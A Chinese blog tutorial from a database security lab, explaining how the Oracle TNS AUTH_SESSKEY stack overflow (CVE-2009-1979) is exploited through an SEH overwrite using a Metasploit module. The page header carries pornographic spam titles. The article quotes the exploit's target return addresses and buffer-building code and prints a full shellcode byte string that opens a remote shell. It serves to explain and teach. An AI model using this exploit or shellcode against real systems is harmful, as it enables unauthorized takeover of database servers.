亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

OracleTNS漏洞攻占Oracle所在操作系統,進而入侵Oracle

隨著數據庫入侵手段的發展,對數據庫的攻擊已經不僅僅是針對數據庫本身,而是擴展到數據庫的各種組建(甚至中間件中)。TNS(Transparence Network Substrate)作為ORACLE的核心組件之一,主要負責選擇oracle協議配置器,確定一種客戶端和服務器都支持的傳輸協議進行傳輸。TNS不僅定義了數據庫和客戶端之間的通訊協議,更負責對客戶端進行身份驗證(確認客戶端所用用戶名和密碼是否合法)。簡單說如果TNS有可利用漏洞則可能直接對Oracle造成入侵,本文將具體介紹如何通過TNS上的緩沖區漏洞入侵oracle所在操作系統。所用例子為CVE-2009-1979。借鑒該漏洞原作者的攻擊代碼,用metasploit做攻擊工具,對一臺win2003sp1上的oracle10g2.0.1.0進行攻擊。

背景

隨著數據庫入侵手段的發展,對數據庫的攻擊已經不僅僅是針對數據庫本身,而是擴展到數據庫的各種組建(甚至中間件中)。

TNS(Transparance Network Substrate)作為ORACLE的核心組件之一,主要負責選擇oracle協議配置器,確定一種客戶端和服務器都支持的傳輸協議進行傳輸。TNS不僅定義了數據庫和客戶端之間的通訊協議,更負責對客戶端進行身份驗證(確認客戶端所用用戶名和密碼是否合法)。簡單說如果TNS有可利用漏洞則可能直接對Oracle造成入侵。利用TNS入侵oracle基本有3種方式:1.通過劫持TNS信息,把oracle的登錄信息劫持到攻擊者機器,獲取敏感信息,甚至獲取oracle管理員賬號密碼。具體請參考安華金和數據庫安全實驗室發表的《Oracle數據庫漏洞隱患 無需user/password快速入侵 》一文。2.直接對在TNS中加密的oracle登錄密鑰進行破解具體請參考安華金和數據庫安全實驗室發表《見招拆招,破解oracle密碼》一文。3.通過緩沖區溢出的方式,在oracle調用異常的TNS參數的時候獲取oracle本地操作系統的控制權限。

本文將具體介紹方式3,通過TNS上的緩沖區漏洞入侵oracle所在操作系統。所用例子為CVE-2009-1979。借鑒該漏洞原作者的攻擊代碼,用metasploit做攻擊工具,對一臺win2003sp1上的oracle10g2.0.1.0進行攻擊。

漏洞說明

CVE-2009-1979(原作者代碼http://www.securityfocus.com/archive/1/507598)這個漏洞簡單說就是:客戶端和服務器確定要使用的驗證機制后。進行O3logon驗證(該協議是為了客戶端向數據庫證明客戶端擁有合法密鑰)每次登錄數據庫的時候都會走o3logon協議。在這個協議中客戶端在獲取數據庫發來的AUTH_SEKEEY后,會向數據庫發送一個對應的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04這些版本中客戶端發送的AUTH_SEKEEY由于沒有對內容的長度進行合理限制。導致成為一個緩沖區溢出的注入點。一個正常的AUTH_SEKEEY長度是64位(如下圖所示)。而如果AUTH_SEKEEY長度超過64位則可能修改AUTH_SEKEEY附近的內存變量。導致出現不可預計的結果。

11

光知道AUTH_SEKEEY存在一個注入點是不夠的,還需要進一步了解AUTH_SEKEEY是以什么方式存儲在內存中的才可能有針對性的利用這個注入點。由于AUTH_SEKEEY是TNS接收的一個參數所以AUTH_SEKEEY在內存中的存儲方式和TNS對消息的存儲方式密切相關。客戶端發送信息包到達服務器端經歷了多個軟件層。為了便于理解我們把這個過程做一個簡化。從客戶端開始信息被傳遞到客戶端本地TNS,客戶端本地TNS格式化這個信息,并將它發送給操作系統協議棧。操作系統協議棧通過網絡將這個信息傳遞給服務器的協議棧:接著這個消息被傳遞給TNS,最終oracle調用TNS中傳過來的信息。這個過程可以粗略的看成是在系統棧中進行的。所以可以基本認為CVE-2009-1979是一個緩沖區棧溢出漏洞。利用AUTH_SEKEEY值長度異常進行的棧緩沖區溢出攻擊。關于緩沖區棧溢出原理可以參考安華金和數據庫安全實驗室發表的《windows緩沖區溢出原理(棧)》一文。

代碼詳解

為了更細致說明這個漏洞的具體機制,直接參考metasploit上關于該漏洞的代碼。代碼主體結構為:

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::TNS

include Msf::Exploit::Remote::Seh

def initialize(info = {})

def check

def exploit

………..

end

其中核心函數只有initialize() 和exploit 兩個。initialize主要是用來對漏洞利用的說明。exploit用來真正進行緩沖區溢出攻擊。置于其他函數不屬于關鍵函數,所以本文不介紹。

initialize的核心代碼為:

‘DefaultOptions’ =>

{

‘EXITFUNC’ => ‘seh’,

},

‘Payload’??????? =>

{

‘Space’??? => 0x17e,

‘BadChars’ => “”, # none, thx memcpy!

‘StackAdjustment’ => -3500,

},

‘Platform’?????? => ‘win’,

‘Targets’??????? =>

[

[ ‘Automatic’, { } ],

[ ‘Oracle 10.2.0.1.0 Enterprise Edition’,

{

# Untested

‘Ret’ => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3

}

],

[ ‘Oracle 10.2.0.4.0 Enterprise Edition’,

{

# Tested OK – 2010-Jan-20 – jduck

‘Ret’ => 0x01347468 # p/p/r in oracle.exe v10.2.0.3

}

]

],

‘DefaultTarget’ => 0,

‘DisclosureDate’ => ‘Oct 20 2009′))

initialize函數說明該漏洞被利用的條件(圖中標紅的地方為關鍵重點)該漏洞被描述為利用緩沖區棧溢出的SEH方式。這里的payload指的單純是shellcode,而不是整個向注入點中注入的字符串(本文中就是組成AUTH_SESSKEY的值)。其中特別指出了整個棧中可被shellcode覆蓋的空間限制為382個字節。badchars是限制用于填充空指令的限制字符。在win2003上對填充字符沒有限制(有限制是為了防止填充字符對shellcode造成破壞,每種指令集的填充字符不同。)platform說明需要操作系統為WIN系列。這是因為不同的操作系統棧的結構、對棧緩沖區溢出的保護程度都是不同的(即便同樣的操作系統不同的補丁下API基地址也有變化這回對緩沖區攻擊造成很大影響)targets是指的可用于攻擊的數據庫版本號和SEH方法最關鍵的POP/POP/RET地址。本例中采用的是orcale10.2.0.1.0所以POP/POP/RET地址為0x011b0528。initialize最關鍵的3個點是:1.指出了shellcode的最大長度。2.指出了對應版本oracle用于SEH的POP/POP/RET地址 。3對緩沖區溢出填充字符做了限制,防止sploit 被填充字符破壞。

exploit函數核心代碼:

#偽造客戶端給數據庫發送的前6個包

# build exploit buffer

print_status(“Calling kpoauth with long AUTH_SESSKEY …”)

sploit = payload.encoded???????????????????????????????????????????? 1

sploit << rand_text_alphanumeric(0x1aa – 0x17e)???????????????????????? 2

sploit << generate_seh_record(mytarget.ret)???????????????????????????? 3

distance = payload_space + 0x2D

sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,”jmp$-“+??????????? 4

distance.to_s).encode_string

expliot函數主要負責2個任務:

1.偽造oracle客戶端給真實的數據庫發送包,直至發送到含有AUTH_SESSKEY字符串的數據包為止。下圖就是偽造的數據包,exploit偽造的就是IP為10.10.10.128的客戶端。10.10.10.130就是要入侵的目標數據庫。

22

2.創建緩沖區溢出的sploit (build exploit buffer開始的內容),首先給出制造的緩沖區溢出的整體結構: shellcode腳本+隨機地址+短跳板+返回地址+長跳板。下面逐行說明:

第一行:sploit = payload.encoded

存入shellcode。這個shellcode的功能是直接獲取被攻擊機器的操作系統權限。代碼如下:

“\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B”

“\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0″

“\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57″

“\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01″

“\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B”

“\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4″

“\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B”

“\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24″

“\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D”

“\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07″

“\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00″

“\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF”

“\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6″

“\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF”

“\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56″

“\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00″

“\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56″

“\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75″

“\xEC\xC3″

shellcode簡單說就是一段為緩沖區溢出攻擊而植入進程的代碼,大多數是用匯編語言編寫的。shellcode本身根據跳入的方式不同分為jump/call、pop? return、push return、jmp[reg+offset]、blind return、SEH等多種類型。由于本文重點不在討論shellcode。所以此處略過,以后會補上shellcode專門介紹的文章。本文的shellcode用的是SEH這種方式。

第二行:sploit << rand_text_alphanumeric(0x1aa – 0x17e)

生成填滿目標地址到源地址之間的隨機數。用隨機數而不用固定的一串字符,最主要的原因是防止程序被某些防護機制處理而導致實驗失敗。TNS收到數據后會在oracommon10.dll中的函數kpzgkvl中進行檢查。檢查后用數據intel_fast_memcpy(這個函數是編譯的時候intel對指令對memcpy進行了優化,而產生的代替memcpy的函數)拷貝給oracle處理。同樣AUTH_SESSKEY的值也會走這個過程。溢出點就出現在這個拷貝函數中。拷貝的源地址是04AB99A4、目標地址是0x0673dB96(本文出現的所有地址只是作者的win2003sp1上的地址,打上不同補丁的操作系統地址會有變化),而最近的SEH地址為0X0673DD40。地址04AB99A4中存儲的AUTH_SESSKEY值通過intel_fast_memcpy拷貝到地址0x0673dB96。對04AB99A4中存儲的AUTH_SESSKEY值沒有長度判斷導致,在拷貝到0x0673dB96后覆蓋到0X0673DD40(SEH地址)發生緩沖區溢出。如果想要AUTH_SESSKEY的值從地址0x0673dB96一直覆蓋到地址0X0673DD40,則需要考入426(0x1aa)個字符。只有在04AB99A4這個點輸入426長度的字符串才有可能。這個漏洞的initialize中指出shellcode空間為382(0x17e)。不滿足覆蓋需求所以需要用(0x1aa – 0x17e)個字符來填充保證能覆蓋到SEH(0X0673DD40)。為了更清楚說明為什么要覆蓋到0X0673DD40,下面說明和本例相關的SEH中的一小部分。

SEH是windows的異常出處理機制。任何程序的異常處理本質上都是安裝了SEH。一個線程中允許存在多個SEH。如果一個線程中沒有做任何異常處理。windows也會在創建線程的開始通過系統函數來創建一個系統級SEH(當所有的SEH都無法處理異常的時候,最終會調用系統函數處理異常。結果就是彈出一個對話框,并強制關閉程序)。

在一個棧中每個SEH大小為8字節,有2個4字節成員組成,低地址位存儲的是指向下一個SEH鏈表的指針,高地址位存儲的是異常處理函數地址。當異常發生時會從TEB(線程環境塊)中讀取指向SEH鏈的指針,開始從異常觸發地方由近及遠逐個訪問SEH,如果距離異常觸發地方最近的SEH能處理該異常,則由該SEH處理。如果無法處理則沿著SEH鏈跳向下一個SEH。以此類推直到異常處理。最后一個SEH鏈的底部是FFFFFFFF。最后一個SEH就是線程開始系統創建的SEH。

33

緩沖區溢出SEH方式就是利用字符串覆蓋掉SEH鏈中距離,異常觸發點最近的SEH。把SEH handle(0x0673DD44)地址覆蓋成pop/pop/ret類型(0x11b0528)。欺騙SEH handle執行pop/pop/ret,過程紅會把pointer to next SEH rerord的地址放入EIP中最終ret會跳出到pointer to next SEH rerord中。具體過程為:當異常觸發的時候,異常會自動自己創建一個棧幀。它會把SEH handle成員壓入新創建的棧幀中。在SEH結構中有一個域是EstablisherFrame。這個域指向異常管理注冊記錄,pointer to next SEH rerord的地址被壓入棧中,被壓入的這個值位于ESP+8的位置。pop/pop/ret串覆蓋SEH handle 后第一次pop 彈出棧頂的4bytes,接下來pop繼續從棧中彈出4bytes。最后ret將把此時ESP所指棧頂中的值(pointer to next SEH rerord)放到EIP中。所以被pop/pop/ret覆蓋的SEH handle會跳轉回pointer to next SEH rerord。

由于pointer to next SEH rerord被改寫成EB 06 +2個隨機字符(湊成一行)則會跳過下面被改寫的SEH handle。執行SEH handle后面的內容。如果后面的內容是shellcode或者是指向shellcoded的跳轉指針,則跳入shellcode開始執行shellcode。

第三行. sploit << generate_seh_record(mytarget.ret)

通過函數generate_seh_record生成2行覆蓋pointer to next SEH rerord的短跳板(包含EB 06、兩個隨機字符(湊成4字節))和覆蓋SEH handle的返回地址(pop/pop/ret類型的0x11b0528)來完成覆蓋SEH跳轉到shellcode或下一個跳板的過程。

第四行

sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,”jmp$-“+distance.to_s).encode_string

這句是一個長跳板。jmp$-表明是負跳轉(由內存低地址跳回內存高地址)設置長跳板位于從pointer to next SEH rerord跳過SEH hande 后,執行長跳板跳回sploit的起始地址,開始執行shellcode。

整個sploit 的結構是 shellcode+隨機填充值+短跳板+pop/pop/ret地址+長跳板(跳回最開始的)shellcode。最后把這個值賦給AUTH_SESSKEY,給數據庫發送含有AUTH_SESSKEY的包。至此入侵完畢,為了效果更直觀,在入侵機上運行腳本打開遠程連接直接用 sqlplus / as sysdba 登錄被入侵機數據庫完成整個攻擊。效果如下圖所示:

44

至此漏洞CVE-2009-1979介紹完畢。安華金和數據庫安全實驗室將在下一篇文章中和大家分享此文中略過的shellcode的分類、用法、范圍限制等內容。

安華金和數據庫安全產品已經廣泛地應用于政府、軍隊、軍工、運營商、金融、企業信息防護等領域,建立了一定的聲譽,成為眾多企業在該領域尋求安全產品和服務的首選。

本文出自 “無形網絡信息博客” 博客,http://wxsec.blog.51cto.com/10036527/1625761

上一篇:每個賬戶1 – 5美元:Uber賬戶和密碼正在“暗網”黑市售賣

下一篇:谷歌正為Gmail開發PGP端到端加密技術